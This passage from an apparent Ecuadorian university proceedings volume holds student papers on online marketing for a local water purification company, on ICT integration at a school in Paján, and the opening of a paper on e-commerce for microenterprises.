Es evidente el crecimiento que ha tenido “AQUA SANTA” ya que en la actualidad es una de las empresas más conocidas de la provincia de Manabí, principalmente porque ha logrado expandir sus ventas a otros lugares como Manta, Montecristi, Los Bajos, La Pila, Paján, Noboa, Machalilla, Salango y Puerto López.

Sin embargo, con el pasar de los años ha aumentado evidentemente la competencia a nivel provincial. Además, las formas tradicionales de hacer marketing (como las que usa el propietario de “AQUA SANTA”) han ido evolucionando y dando origen a nuevas formas de marketing que no sólo resultan más llamativas ante los ojos de los clientes, sino que también

traen consigo ventajas significativas para las empresas que hagan uso de ella, como es el caso del marketing online.

Por tal motivo, el presente proyecto titulado “Implementación del marketing online para la empresa purificadora de agua “AQUA SANTA” del cantón Jipijapa” en sus diferentes apartados aborda la temática del marketing online y sus formas; por medio de la investigación realizada en conjunto con la metodología y las técnicas utilizadas se propone una forma eficaz del marketing online que permitirá a la empresa darse a conocer más a nivel provincial, incrementar sus ventas y propiamente mejorar su comunicación con sus clientes.

2. DESARROLLO

En cuanto al marketing directo, Kotler P. y Armstrong G., (2012) en su libro “Marketing” decimocuarta edición, señalan que:

- El marketing directo consiste en conexiones directas con consumidores cuidadosamente elegidos, a menudo basados en una interacción personal. Con la ayuda de bases de datos detalladas, las compañías adaptan sus ofertas y comunicaciones de marketing a las necesidades segmentos estrechamente definidos o incluso de compradores individuales. (2012, pág. 496)

Además, Kotler P. y Armstrong G. hacen mención a que “El marketing directo cada vez está más orientado hacia la web, y el marketing en Internet está obteniendo una creciente porción de los gastos y ventas de marketing” (2012, pág. 497) Si bien es cierto, el marketing directo presenta beneficios, “para los compradores, el marketing directo es conveniente, fácil de usar y privado”. (2012, pág. 497) .

El marketing directo presenta varias formas, que incluyen las ventas personales, el marketing por correo directo, el marketing por catálogo, el marketing por teléfono, el marketing por televisión de respuesta directa, el marketing en quioscos, las nuevas tecnologías digitales de marketing directo y propiamente el marketing en línea, que es el que se estudiará como medio para mejorar la comunicación entre la empresa y sus clientes. El establecimiento del marketing online puede darse a su vez de diversas formas, entre los que se destacan creación o participación de redes sociales en línea, creación de un sitio web, colocación de anuncios o promociones en líneas y el uso del correo electrónico.

El nuevo modelo de marketing directo: Los primeros mercadólogos directos (compañías por catálogo, por correo directo y los telemercadólogos) reunían nombres de clientes y vendían artículos principalmente por correo y por teléfono. Sin embargo, en la actualidad el marketing

directo ha sufrido una transformación impresionante, impulsada por los rápidos avances en las tecnologías de bases de datos y los nuevos medios de marketing, en especial Internet. (Philip Kotler; Gary Armstrong, 2012).

Para muchas compañías de hoy el marketing directo es más que un canal o medio publicitario complementario; es un modelo completo de hacer negocios. Las empresas que usan este nuevo modelo directo, lo emplean como único método. (Philip Kotler; Gary Armstrong, 2012)

Beneficios y crecimiento del marketing directo: El marketing directo se ha convertido en la forma de marketing con mayor crecimiento. Cada vez está más orientado hacia la web, y el marketing en Internet está obteniendo una creciente porción de los gastos y ventas de marketing. (Kotler, P.; Armstrong, G., 2012)

Beneficios para los compradores: Para los compradores, el marketing directo es conveniente, fácil de usar y privado. Los comerciantes directos nunca cierran sus puertas, y los clientes no tienen que viajar largas distancias y visitar muchas tiendas para encontrar productos. Desde su hogar, oficina o casi desde cualquier parte, los clientes pueden hacer compras en Internet en cualquier momento del día o de la noche. Los compradores de negocios pueden obtener información acerca de productos y servicios sin ocupar el tiempo de los vendedores. (Marketing, 2012)

Beneficios para los vendedores: Para los vendedores, el marketing directo es una herramienta poderosa para establecer relaciones con los clientes. Los mercadólogos directos de hoy pueden dirigirse a pequeños grupos de consumidores o a consumidores individuales. Debido a la naturaleza personalizada del marketing directo, las compañías pueden interactuar con los clientes por teléfono o en línea, conocer más sus necesidades y adaptar los productos y servicios a los gustos específicos de sus clientes. Estos últimos, a su vez, pueden hacer preguntas y brindar retroalimentación. (Marketing, 2012)

El marketing directo también ofrece a los vendedores una alternativa más rápida y más eficaz a un costo más bajo para llegar a sus mercados. El marketing directo ha crecido con rapidez en el comercio entre negocios, en parte como respuesta a los siempre crecientes costos del marketing que implican una fuerza de ventas. (Marketing, 2012)

Formas de marketing directo: Las principales formas de marketing directo, incluyen las ventas personales, el marketing por correo directo, el marketing por catálogo, el marketing por teléfono, el marketing por televisión de respuesta directa (DRTV, por sus siglas en inglés), el

marketing en quioscos, las nuevas tecnologías digitales de marketing directo y el marketing en línea. (Philip Kotler; Gary Armstrong, 2012)

Marketing por correo directo

El marketing por correo directo consiste en enviar una oferta, anuncio, recordatorio u otro material a una persona a una dirección física o virtual específica. Con el uso de listas de correo muy selectas, los mercadólogos directos envían millones de piezas de correo cada año, como cartas, catálogos, anuncios, folletos, muestras, DVDs y otros “vendedores con alas” (Kotler, P.; Armstrong, G., 2012)

El correo directo es muy adecuado para una comunicación directa y personalizada, ya que permite una gran selectividad del mercado meta, puede personalizarse, es flexible, y sus resultados son fáciles de medir. A pesar de que el costo de ponerse en contacto con mil personas es más elevado que el que ofrece los medios de comunicación masiva, como la televisión y las revistas, las personas que lo reciben son mucho mejores prospectos. (Marketing, 2012)

3. MATERIALES Y MÉTODOS

- PhpStorm como entorno de desarrollo web.
- HTML, CSS y JavaScript.
- Servidor Web (Lighttpd).
- Servidor privado virtual (CentOs 7).
- Computadora.
- Internet.

Métodos

Método bibliográfico–documental; aplicado para recopilar información relevante de la empresa, la cual se usará en el desarrollo de la página web.

Método hipotético-deductivo; aplicado al análisis de las estrategias de marketing utilizadas por la empresa en los últimos dos años para mejorarlas y/o potenciarlas a través de la implementación de la página web.

Método estadístico; aplicado para realizar el cálculo de los gastos que implica crear la página web (comprar dominio, host, ect.) y en base a eso establecer un presupuesto.

4. RESULTADOS Y DISCUSIÓN

Página web de “Aqua Santa”. Se agregó contenido con HTML, estilos con CSS y se dio interactividad con JavaScript.

La información que se muestra en la página web fue adquirida a través de entrevistas con el propietario de “Aqua Santa”, Sr. José Gómez Pionce.

La página web está creada, para que, en un futuro, el propietario de la empresa pueda hacer uso de la misma. Para ello, deberá comprar un host y un dominio para que la empresa pueda ser subida y sus clientes tengan acceso a ella.

5. CONCLUSIONES

- Se puede concluir que el marketing online es en la actualidad una gran opción para que las empresas puedan promocionar sus productos, puesto que se vale del uso de la tecnología para ofrecer un modelo de comercialización más innovador y llamativo a la vista de los clientes.
- Tanto los clientes como el propietario de “AQUA SANTA” están de acuerdo en implementar marketing online ya que consideran que de esta manera se puede fortalecer la relación cliente-vendedor, además, los clientes lo ven como una posibilidad de mantener un mejor contacto con el propietario al momento de hacer sus pedidos ya que en ocasiones la mayoría tiene problemas y se sienten inconformes con el tiempo de entrega del producto.
- Durante la creación de la página se necesitó la aplicación Dreamweaver e información principal de la empresa “AQUA SANTA” obtenida mediante entrevistas al señor José Maximiliano Gómez Pionce, propietario de la empresa; dicha información permitió obtener un mejor resultado final en la creación de la página web.

6. RECOMENDACIONES

- En base a las conclusiones, se recomienda realizar un análisis FODA a la empresa a la cual queremos implementar el marketing online para así mediante el estudio de sus fortalezas, oportunidades, debilidades y amenazas se pueda determinar qué modelo de marketing online se ajusta más a los requerimientos de la empresa.
- Además, el propietario de la empresa debe asignar a un empleado de confianza para que se encargue de la administración del sitio web ya que es importante que se actualice la información para que de esta manera los clientes se mantengan informados y de igual manera pueda llamar la atención de otros clientes que podrían convertirse en clientes potenciales para la empresa.

REFERENCIAS BIBLIOGRÁFICAS

- BRAVO, C. (2012). *Por qué el 90% de las empresas se están equivocando en su estrategia de marketing online*. Obtenido de Marketing Online: <http://www.marketingguerrilla.es/por-que-el-90-de-las-empresas-se-estan-equivocando-en-su-estrategia-de-marketing-online/>
- BRAVO, C. (s.f.). *marketing online*. Obtenido de <http://www.marketingguerrilla.es/10-factores-clave-para-implementar-el-marketing-online-en-tu-empresa/>

Center., A. D. (s.f.). *crear un sitio web con Adobe Dreamweaver*. Obtenido de adobe:
https://www.adobe.com/es/designcenter/video_workshop/html/vid0145.html

Consulweb, C. (25 de abril de 2013). *VENTAJAS DEL MARKETING ONLINE*. Obtenido de consulweb: <http://www.consulweb.net/ventajas-marketing-online/>

Definición de Feedback. (2017). Obtenido de DefiniciónABC:
<https://www.definicionabc.com/general/feedback.php>

Jorba, M. (26 de septiembre de 2016). *Desventajas del Marketing 2.0*. Obtenido de comunicacion2.0:
<https://comunidad.iebschool.com/meritxellcomunicacion20/2016/09/26/ventajas-y-desventajas-del-marketing-2-0/>

Kotler, P.; Armstron, G. (2012). *MARKETING*. México: Pearson.

Lane, A. (2 de febrero de 2018). *tipos de comercio electrónico*. Obtenido de shopify:
<https://www.shopify.es/blog/12621205-los-5-tipos-de-comercio-electronico>

BIOGRAFÍA DEL AUTOR

Julissa Eufemia Marcillo Valverde, estudiante de la carrera de Tecnología de la Información.

Joselyn Teresa Reyes Neira, estudiante de la carrera de Tecnología de la Información.

María Rosa Romero Aguilar, estudiante de la carrera de Tecnología de la Información.

Miguel Ángel Rodríguez Guaranda, estudiante de la carrera de Tecnología de la Información.

Yanina Holanda Campozano Pilay. Docente de la Universidad Estatal del sur de Manabí.

INCIDENCIA DE LA TECNOLOGÍA DE LA INFORMACIÓN Y COMUNICACIÓN EN LAS ENSEÑANZAS ACADÉMICAS

Evelyn Marcela Intriago Vélez,
Genny Doralisa Bello Araujo,
Ing. Christian José Álava Mero. Mg.
Lcda. Ramona Monserrate Vélez Mejía.

UNIVERSIDAD ESTATAL DEL SUR DE MANABI

evelynmarcela.9@gmail.com

dorydyr_@gmail.com

RESUMEN

En el presente Artículo Científico damos a conocer el diseño, desarrollo y el proceso de enseñanza aprendizaje que están a la par con los avances en el campo del diseño instructivo y de las teorías. Las bases que tradicionalmente se han manejado desde la Tecnología Educativa, deben ser sustituidas por otras que se ajusten mejor a un nuevo paradigma centrado en el aprendizaje. Pero si bien es cierto que necesitamos nuevos fundamentos, también que el nuevo paradigma necesita incorporar la mayoría del conocimiento generado por las teorías previas de diseño instructivo, aunque este conocimiento necesite ser reestructurado sustancialmente para que pueda adaptarse a las nuevas necesidades educativas de la Unidad Educativa María Piedad del Castillo de Levi del cantón Paján. El objetivo de este artículo tiene como finalidad diseñar un nuevo instructivo del proceso de enseñanza aprendizaje con nuevas tecnologías educativas la cual de un aporte positivo al estudiante de esta Institución Educativa la cual carece de Tecnologías de La Información y comunicación. La metodología que lleva el estudio de este tema es totalmente investigativa de la mano con los encargados de esta Respetable Institución. La Unidad Educativa María Piedad Castillo de Levi del Cantón Paján, apunta hacia un mejor modelo de diseño instructivo, para brindarles mejores conocimientos a sus docentes como a sus estudiantes, a través de nuevas tecnologías impulsadas por los conocimientos dados del día a día de las nuevas investigaciones que se generan en el mundo entero.

PALABRAS CLAVE: impulsadas, paradigma, metodología, instructivos.

ABSTRACT

In this Scientific Article we present the design, development and teaching-learning process that are on a par with the advances in the field of instructional design and theories. The bases that

have traditionally been handled from the Educational Technology, must be replaced by others that better fit a new paradigm focused on learning. But while it is true that we need new fundamentals, also that the new paradigm needs to incorporate most of the knowledge generated by the previous theories of instructive design, although this knowledge needs to be substantially restructured so that it can adapt to the new educational needs of the Educational Unit Maria Piedad from the Castillo de Levi in Paján canton. The objective of this article is to design a new instruction on the teaching-learning process with new educational technologies which provides a positive contribution to the student of this Educational Institution which lacks information and communication technologies. The methodology that leads the study of this topic is entirely investigative hand in hand with those responsible for this Respectable Institution. Maria Piedad Castillo de Levi Educational Unit of the Paján Canton, points towards a better instructional design model, to provide better knowledge to its teachers as well as to its students, through new technologies driven by the knowledge given of the day to day of the new investigations that are generated in the whole world.

KEYWORDS: driven, paradigm, methodology, instructive

1. INTRODUCCIÓN

Las bases desde donde abordar los procesos de diseño, desarrollo y evaluación de los procesos de enseñanza-aprendizaje están íntimamente relacionadas con los avances en el campo del diseño instructivo y de las teorías, concepciones y modelos relacionados con dicho diseño: teorías del aprendizaje, teorías del currículo, de la instrucción, de la comunicación, el desarrollo de los sistemas de información, Las bases que tradicionalmente se han manejado desde la Tecnología Educativa, parece que deben ser sustituidas por otras que se ajusten mejor a un nuevo paradigma centrado en el aprendizaje. Pero si bien es cierto que necesitamos nuevos fundamentos, también lo es que el nuevo paradigma necesita incorporar la mayoría del conocimiento generado por las teorías previas de diseño instructivo, aunque este conocimiento necesite ser reestructurado sustancialmente para que pueda adaptarse a las nuevas necesidades educativas, (Brito, 2007).

El concepto de diseño instructivo, aun en sus acepciones más amplias, incluye no sólo el proceso de planificación del marco instructivo, del sistema de distribución, etc., sino también, y fundamentalmente, la planificación de los materiales didácticos, lo que ha sido visto así desde los inicios de la Tecnología Educativa,

La Unidad Educativa María Piedad Castillo de Levi del Cantón Paján, apunta hacia un mejor modelo de diseño instructivo, para brindarles mejores conocimientos a sus docentes como a sus estudiantes, a través de nuevas tecnologías impulsadas por los conocimientos dados del día a día de las nuevas investigaciones que se generan en el mundo entero.

Estos conocimientos educativos impartidos por la Tecnología de la Información y Comunicación son beneficios a la tecnología de los futuros emprendimientos que va a tener esta unidad educativa del cantón Paján provincia de Manabí, teniendo en cuenta que nuevos diseños de procesos de enseñanzas van a hacer de un nivel muy superior a lo anteriormente impartido en dicha Unidad Educativa.

Las TIC, busca mejorar las enseñanzas y subir de niveles los conocimientos de ciertas unidades académicas alrededor del mundo, este va a ser el caso de la Unidad Educativa María Piedad Castillo de Levi del Cantón Paján, que tiene falencias de aprendizajes no muy deficientes, pero si un porcentaje mayor a lo normal con respecto a la educación.

La integración de las TIC en el sistema educativo conlleva dificultades, entre ellas la insuficiente preparación del profesorado para introducirlas en su práctica habitual de aula (Fernández-Cruz y Fernández-Díaz, 2016). Las escuelas no disponen de un proyecto consensuado en relación a la utilización de las TIC y, en consecuencia, muchas de las prácticas didácticas que se llevan a cabo con las tecnologías digitales, no representan una verdadera innovación o mejora con respecto a las prácticas tradicionales de enseñanza (Christian y Mathrani, 2014). Por tanto, la falta de conocimientos y actualización del profesorado, tanto sobre el uso de las TIC, desde un punto de vista puramente instrumental, como sobre las actividades innovadoras basadas en las mismas, desde una perspectiva más metodológica, dificultan una buena implementación de éstas en el contexto educativo. Abundando en este planteamiento García-Valcárcel y Tejedor (2010), identifican algunos factores que dificultan la integración y utilización de las TIC en los procesos de enseñanza-aprendizaje, los cuales se exponen a continuación (p. 127):

- Ineficaz formación del profesorado para el uso de tecnología adecuada a las necesidades de los alumnos. Formación de tipo instrumental, fragmentada, individualista y ajena a las necesidades de una escuela concreta.
- Escaso tiempo disponible de los profesores para la colaboración entre ellos y el desarrollo de programas de tecnología integrada.

- Carencia de personal disponible para mantener los ordenadores y solucionar problemas técnicos y de aplicación didáctica (coordinador / responsable TIC).
- Falta de ordenadores y accesibilidad a Internet en todas las aulas (no sólo en laboratorios o aulas específicas).

Es lógico que, la integración de las TIC en el sistema educativo ha soportado dificultades y limitaciones. Y referente, se han realizados diferentes esfuerzos muy considerables dados por políticas tanto de carácter nacional como autonómico, entre otras iniciativas previas, lo que ha generado permuta y transformaciones en la enseñanza dentro del sistema educativo. No hay que olvidar que nuestro Sistema de Educación se va mejorando día a día hecho de que en Ecuador y todos sus alrededores presenta precisamente la peculiaridad de no contar con un plan común, bien coordinado y consensuado a nivel estatal. (Área, 2010, 2006). La descripción de algunos rasgos de las políticas educativas dirigidas a la integración de las TIC a nivel europeo, nacional y autonómico pone en evidencia la necesidad de caracterizar las buenas prácticas docentes, como un eje vertebrador de la innovación educativa y del modelo a seguir (De Pablos, 2010).

Finalmente, con estas nuevas tecnologías y nuevos modelos de aprendizajes se va a lograr mejorar las condiciones de enseñanzas de esta unidad Educativa e impartir como ejemplo a otras unidades educativas que tengan estas incidencias de (Tecnología de la Información y Comunicación).

2. DESARROLLO

Diseño de procesos de enseñanzas-aprendizajes mediante TIC y diseño instructivos para la “Unidad Educativa María Piedad Castillo de Levi del Cantón Paján”.

Funciones a considerar para el diseño de enseñanza y aprendizajes mediante las TIC en la “Unidad Educativa María Piedad Castillo de Levi del Cantón Paján”.
METODOLOGIA
Posibilidades de interacción - Trabajo colaborativo - Multicultural.
MULTIMEDIA
Capacidad multimedia requerida - Capacidad multimedia disponible.
EQUIPOS Y RED

Vidas previsibles de los equipos. Capacidad técnica. Características de las redes.		
FUNCIONES A CUBRIR		
Tutorial, transmisión de contenidos. Trabajo colaborativo. Creación de materiales.		
SINCRONIA Y ASINCRONOMIA		
Capacidad sincrónica de las herramientas. Capacidad asincrónica de las herramientas.		
LAS HERRAMIENTAS		
Manejabilidad. Adaptabilidad. Accesibilidad. Navegabilidad. Versatilidad. Tipo de código (abierto o cerrado).		
EL DOCENTE		
Habilidades	no	directivas.
Formación		metodológica.
Habilidades sociales para la colaboración.		
EL ALUMNO		
Autonomía. Responsabilidad. Conocimientos previos. Investigador. Actividades sociales para la colaboración. Seguridad.		

DIFERENCIAS ENTRE LAS HERRAMIENTAS TECNOLÓGICAS Y OTROS RECURSOS.

Las tecnologías basadas en entornos interactivos tienen algunas cualidades primordiales, que los diferencian de los medios típicos estáticos, que a largo plazo tendrán un impacto en la educación. Anteriormente hemos mencionado algunas de estos atributos como la ejecutabilidad de las representaciones. Los cambios significativos que la tecnología está logrando tienen que ver con tres características propias de estos recursos:

- La facilidad de tener a la mano diversas representaciones de un mismo concepto matemático o de lenguaje y poder relacionarlas activamente unas con otras.
- La “manipulación” de objetos matemáticos y sus relaciones.

La interactividad diferencia enormemente el recurso computacional de otros medios estáticos y aún dinámicos como los medios audiovisuales. Si se escribe una oración en un medio estático tal como el lápiz y el papel, ésta simplemente se imprime y no hay interactividad ni con el papel ni con otras frases que pudieran haber estado escritas antes en la hoja. Más aún, el papel no proporciona ayuda sobre lo que uno está escribiendo, salvo algunos casos en los que las cuadrículas o el papel para gráficas proporcionen algún soporte que guía a quién hace el dibujo. En forma semejante se puede ver la televisión y no hacer nada físico con ella a menos que se decida cambiar de canal o ajustar la imagen. En un sentido amplio podría decirse que todas las representaciones en todos los medios son interactivas, dado que el usuario hace una representación de lo que ve o lee. Pero este no es el sentido que queremos dar. Por medio interactivo vamos a considerar un medio que contribuye físicamente al sistema de representación que se pone en funcionamiento y hace que el estudiante se motive en aprender los saberes que el docente le imparte en el aula de clases, está comprobado científicamente que estos medios audiovisuales que se utilizan a diario a la par de la tecnología si aportan considerablemente con el estímulo de aprender por parte del estudiante que en este entorno jugaría un papel muy importante en el sistema educativo que se quiere mejorar y se está mejorando pero todo va de la mano con el estímulo de las TIC.

En el aula digital el estudiante se apropia de un contenido previamente seleccionado que responde a un sistema de objetivos lógicamente diseñados. Pero el carácter educativo de la enseñanza no sólo se queda en este plano, sino que va más allá al considerar también las influencias educativas que ejercen métodos, medios y las formas de evaluación empleadas en el aula digital. Forma también parte de este carácter educativo la interacción generada entre los

estudiantes ya sea por medio de un chat, un foro o el correo electrónico, por sólo citar algunas formas de interacción. El estudiante eleva su autonomía y responsabilidad ante su propio aprendizaje y contribuye, con su participación en el aula digital, al aprendizaje de los otros compañeros de estudio.

UNIDAD DE LA INSTRUCCIÓN Y LA EDUCACIÓN.

Hay que salir del error al considerar que en el aula digital los estudiantes sólo alcanzan un nivel instructivo que los pone en contacto con los contenidos, sin embargo, estos no están fuera de un contexto histórico y cultural. Lo anterior propone y te lleva a discernir que no es verdad que cualquier actividad dirigida a separar lo instructivo de lo educativo. La formación de la actividad cognoscitiva del individuo, la apropiación de conocimientos, el desarrollo del pensamiento teórico, de capacidades y habilidades intelectuales y profesionales, que tradicionalmente se consideran como resultado de la instrucción, constituyen también un producto fundamental de la educación. Es que la instrucción es una condición básica fundamental de la relación del ser humano con la naturaleza, con el medio y con las demás personas y de su actividad transformadora de la realidad que a su vez contiene, de forma indisoluble, aspectos éticos y emotivos.

LIBERTAD DEL ESTUDIANTE Y SU RESPONSABILIDAD EN EL APRENDIZAJE

El día a día que el estudiante se separa más de las formas tradicionales de enseñanza, es decir presenciales, y se sumerge en las actividades donde la presencia ligada no es el elemento más expresivo, aporta a su grado de libertad, autonomía ante el aprendizaje. Sus dudas, sus fallos deben ser resueltos a partir del estudio de otros materiales o de la controversia en foros o chat, donde se necesite, además, la objetividad y precisión de su planteamiento. Indiscutible para elevar esta autonomía se requiere que el diseño del aula digital contemple todo el elemento necesario para que el estudiante se vea beneficiado en su auto aprendizaje.

Con estos temas propuestos se pretende dar una idea significativa en la cual fomentar el sistema educativo de la Unidad Educativa María Piedad Castillo de Levi del Cantón Pajan. Y así dar una mejora a esta incidencia que se encuentra perenne en esta institución.

MARCO TEORICO

Fundamentos desde la tecnología educativa:

Fuente especificada no válida., recoge la contribución que estos referentes aportan a la T.E. Para este autor, el papel de la Psicología es el más relevante, al ser uno de sus intereses fundamentales el aprendizaje, objeto que comparte con aquélla. También se refiere a las contribuciones del enfoque sistémico desde donde se aportan herramientas, metodología y conceptos. Por su parte, el ámbito de la comunicación, si bien con un grado de influencia de menor envergadura -según Chadwick-, contribuirá desde el tratamiento de los medios.

Todas las herramientas que contribuyen al sistema de tecnología son muy importantes ya que generan un mejor aporte para la sociedad académica y mejorar su aprendizaje.

Diseño instructivo como proceso:

Fuente especificada no válida., remarca el carácter probabilístico de los métodos que surgen como diseño instructivo, al incrementar las opciones de alcanzar los objetivos en lugar de asegurar el logro de los mismos (determinismo).

El diseño instructivo es un medio de orientación y de guía académica y tecnológica, que ayuda al desarrollo superior de las unidades académicas estudiantiles para un futuro mejor en la sociedad.

Teoría general del sistema:

La Teoría General de Sistemas, como propuesta integradora de la ciencia, aplicada a las situaciones educativas pretenderá "regular y controlar" la totalidad de variables que intervienen, describiendo en su totalidad el proceso, ofreciendo pautas de intervención.

Toda propuesta tiene que integrarse con el desarrollo de una investigación consolidada para un bienestar a la sociedad y que contribuya con el mayor cambio posible en lo que respecta a tecnología, medios de comunicación, a sistemas altos avances tecnológicos.

Principios de diseño:

Probablemente sea debido a que el trabajo de diseño es tan complejo y tan dependiente del contexto que convierte en casi imposible el contraste y la prueba empírica de la usabilidad de un diseño respecto a otros. En consecuencia, seleccionar un modelo de diseño instructivo es un proceso racional, no empírico.

Los principios de diseños son factores de complejos que ayudan al desarrollo de una investigación integradora, ya sea para un mejor cambio a la calidad de vida de los estudiantes

y seguir aportando las tecnologías hacia ello es gran cambio, pero con las debidas responsabilidades.

Criterios de evaluación:

Existen otras modalidades para un mejor proceso de evaluación.

- Evaluación prospectiva o evaluación relativa al contexto (context evaluation). Tiene como fin ofrecer alternativas a la toma de decisiones concernientes al desarrollo de un proyecto (metas del programa, necesidades a satisfacer, etc. Se trata, en definitiva, de evaluar cuáles son los medios mejor adaptados a un determinado proyecto pedagógico, a un sistema educativo, a una situación, a unas condiciones.
- Las metas propuestas en proyectos tecnológicos se dan con la intención de satisfacer las necesidades del cliente ya sea el caso. Pero a las unidades académicas hay que tomarlas desde otro punto estratégico para lograr llegar hacia ellas con base tecnológicas que se puedan integrar a su desarrollo académico.

3. MATERIALES Y MÉTODOS

La investigación es cuantitativa-descriptiva, de diseño no experimental aleatorio. Se realizó una observación de la forma de trabajo de los alumnos en las aulas de primero de bachillerato de la “Unidad Educativa María Piedad Castillo de Levi del Cantón Paján”. Donde se aplicó una entrevista, permitiendo constatar una respuesta que fue suficiente para llevarnos a ver cuál era el problema en esta institución.

Así mismo, el análisis estadístico se realizó mediante tablas de frecuencia y gráficos que resultaron adecuados en aquellas situaciones en las que el entrevistado manifestó su opinión a través de una escala donde valoró su grado de conformidad con la formulación planteada. Se utilizó la exploración invariable, en vista de que los resultados se pudieran expresar de forma porcentual, respecto del total de la muestra y de cada criterio de segmentación.

4. RESULTADOS Y DISCUSIÓN

Los resultados que se presentan tienen un carácter general y son los más significativos que se obtuvieron en la investigación. Se realizó una entrevista a un total de 15 estudiantes de la “Unidad Educativa María Piedad Castillo de Levi del Cantón Paján”. El estudio reveló un número de componentes que influenciaban las decisiones de los profesores para usar las TIC en los salones de clase, tales como: el acceso a los recursos tecnológicos, la apropiación y uso de herramientas tecnológicas de los profesores y estudiantes, la competencia de los estudiantes

en conocimientos de TIC, la percepción de los recursos institucionales en TIC y la percepción que tienen los estudiantes acerca del rol de las tecnologías en pedagogía

5. CONCLUSIÓN

Se pudo determinar que con la mejor Implementación de Tecnologías de la Información y Comunicación en la Unidad Educativa María Piedad del Castillo de Levi del cantón se podrá llevar un diseño de instructivo tecnológico donde van a tomar tecnologías educativas que motiven al estudiante para su mayor desempeño cuando el profesor imparta su clase dando un aporte positivo a la Institución y al aprendizaje académico del estudiante. Como bien lo hemos constatado anteriormente que esta Unidad Educativa hay un considerable porcentaje de falencias tecnológicas las cuales retrasan el nivel académico del estudiante con esta metodología investigativa hemos llegado a la conclusión de implementar un diseño instructivo donde lleve el itinerario de todos los procesos de enseñanza aprendizaje educativa a la par con la tecnología de la Información y comunicación aportando positivamente a la institución.

REFERENCIAS BIBLIOGRÁFICA

- Briggs, 1., Romiszowski, 1., Reigeluth, 1., & Merrill, 1. (DOMINGO de DICIEMBRE de 2007). 5-libro-nuevas-tecnolog3adas-aplicadas-a-la-educac3b3n-julio-cabero.pdf. Obtenido de 5-libro-nuevas-tecnolog3adas-aplicadas-a-la-educac3b3n-julio-cabero.pdf: <https://uogestiondelaprendizaje.files.wordpress.com/2015/03/5-libro-nuevas-tecnolog3adas-aplicadas-a-la-educac3b3n-julio-cabero.pdf>
- Chadwick. (lunes de Diciembre de 1979). 5-libro-nuevas-tecnolog3adas-aplicadas-a-la-educac3b3n-julio-cabero.pdf. Obtenido de 5-libro-nuevas-tecnolog3adas-aplicadas-a-la-educac3b3n-julio-cabero.pdf: <https://uogestiondelaprendizaje.files.wordpress.com/2015/03/5-libro-nuevas-tecnolog3adas-aplicadas-a-la-educac3b3n-julio-cabero.pdf>
- Jesús Salinas Ibañez, S. U. (DONMINGO de DICIEMBRE de 2007). 5-libro-nuevas-tecnolog3adas-aplicadas-a-la-educac3b3n-julio-cabero.pdf. Obtenido de 5-libro-nuevas-tecnolog3adas-aplicadas-a-la-educac3b3n-julio-cabero.pdf: <https://uogestiondelaprendizaje.files.wordpress.com/2015/03/5-libro-nuevas-tecnolog3adas-aplicadas-a-la-educac3b3n-julio-cabero.pdf>

Pablos, D. (1994). 5-libro-nuevas-tecnologc3adas-aplicadas-a-la-educacic3b3n-julio-cabero.pdf. Obtenido de 5-libro-nuevas-tecnologc3adas-aplicadas-a-la-educacic3b3n-julio-cabero.pdf: <https://uogestiondelaprendizaje.files.wordpress.com/2015/03/5-libro-nuevas-tecnologc3adas-aplicadas-a-la-educacic3b3n-julio-cabero.pdf>

Reigeluth. (lunes de diciembre de 1999). 5-libro-nuevas-tecnologc3adas-aplicadas-a-la-educacic3b3n-julio-cabero.pdf. Obtenido de 5-libro-nuevas-tecnologc3adas-aplicadas-a-la-educacic3b3n-julio-cabero.pdf: <https://uogestiondelaprendizaje.files.wordpress.com/2015/03/5-libro-nuevas-tecnologc3adas-aplicadas-a-la-educacic3b3n-julio-cabero.pdf>

Romizowsky, (. (1997). 5-libro-nuevas-tecnologc3adas-aplicadas-a-la-educacic3b3n-julio-cabero.pdf. Obtenido de 5-libro-nuevas-tecnologc3adas-aplicadas-a-la-educacic3b3n-julio-cabero.pdf: <https://uogestiondelaprendizaje.files.wordpress.com/2015/03/5-libro-nuevas-tecnologc3adas-aplicadas-a-la-educacic3b3n-julio-cabero.pdf>

Salinas. (1992). 5-libro-nuevas-tecnologc3adas-aplicadas-a-la-educacic3b3n-julio-cabero.pdf. Obtenido de 5-libro-nuevas-tecnologc3adas-aplicadas-a-la-educacic3b3n-julio-cabero.pdf: <https://uogestiondelaprendizaje.files.wordpress.com/2015/03/5-libro-nuevas-tecnologc3adas-aplicadas-a-la-educacic3b3n-julio-cabero.pdf>

BIOGRAFÍA DE AUTORES

EVELYN MARCELA INTRIAGO VÉLEZ, Profesional en formación de la carrera Ingeniería en Sistemas Computacionales - Universidad Estatal del Sur de Manabí, ubicada en el Km 1,5 vía a Noboa. Jipijapa-Ecuador.

GENNY DORALISA BELLO ARAUJO, Profesional en formación de la carrera Ingeniería en Sistemas Computacionales - Universidad Estatal del Sur de Manabí, ubicada en el Km 1,5 vía a Noboa. Jipijapa-Ecuador.

EL COMERCIO ELECTRÓNICO COMO CLAVE EN EL DESARROLLO MICROEMPRESARIAL

Ec. Robards Javier Lima Pisco. Mg.

Ing. Karina Virginia Mero Suárez. Mg.

Ec. Laura Cristina Merchán Nieto. Mg.

Ing. Omar Antonio Quimis Sánchez. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

robardslima@gmail.com

karinaunesum@yahoo.com

aquimis@hotmail.com

RESUMEN

A medida que avanza la tecnología todas las opciones o tareas ligadas a esta, sufren cambios significativos, los cuales benefician de gran manera al recurso humano; a utilizarlos como un servicio o recibir un producto final. Siendo así como se da origen a la automatización de la mayoría de los procesos financieros. El objetivo de esta investigación es analizar cuan protegido está el consumidor con respecto a las nuevas tendencias electrónicas del comercio. El comercio electrónico genera una facilidad para que los consumidores puedan comprar productos desde sus hogares y a cualquier hora del día. En los países más desarrollados la compra y venta de productos a través del internet es muy común y cada vez de mayor volumen no obstante la tendencia mundial es hacia un incremento en el comercio electrónico, por eso Ecuador debe adaptarse a estas nuevas tendencias, con el fin de incrementar un mejoramiento en el nivel de vida de los ciudadanos y así obtener confianza en dicho mercado. Dentro de la metodología se utilizó el método histórico-lógico, en la búsqueda de los antecedentes del objeto de investigación. En los resultados se logró cumplir con los objetivos trazados dentro de esta investigación. Concluyendo que las tecnologías del comercio siguen su avance inexorable dentro en el ámbito fructífero de ingresos, eliminando intermediarios y permitiendo el acceso al mercado de potenciales millones de clientes.

PALABRAS CLAVE: cambios, compra, comercio, servicio, tecnología.

ABSTRACT

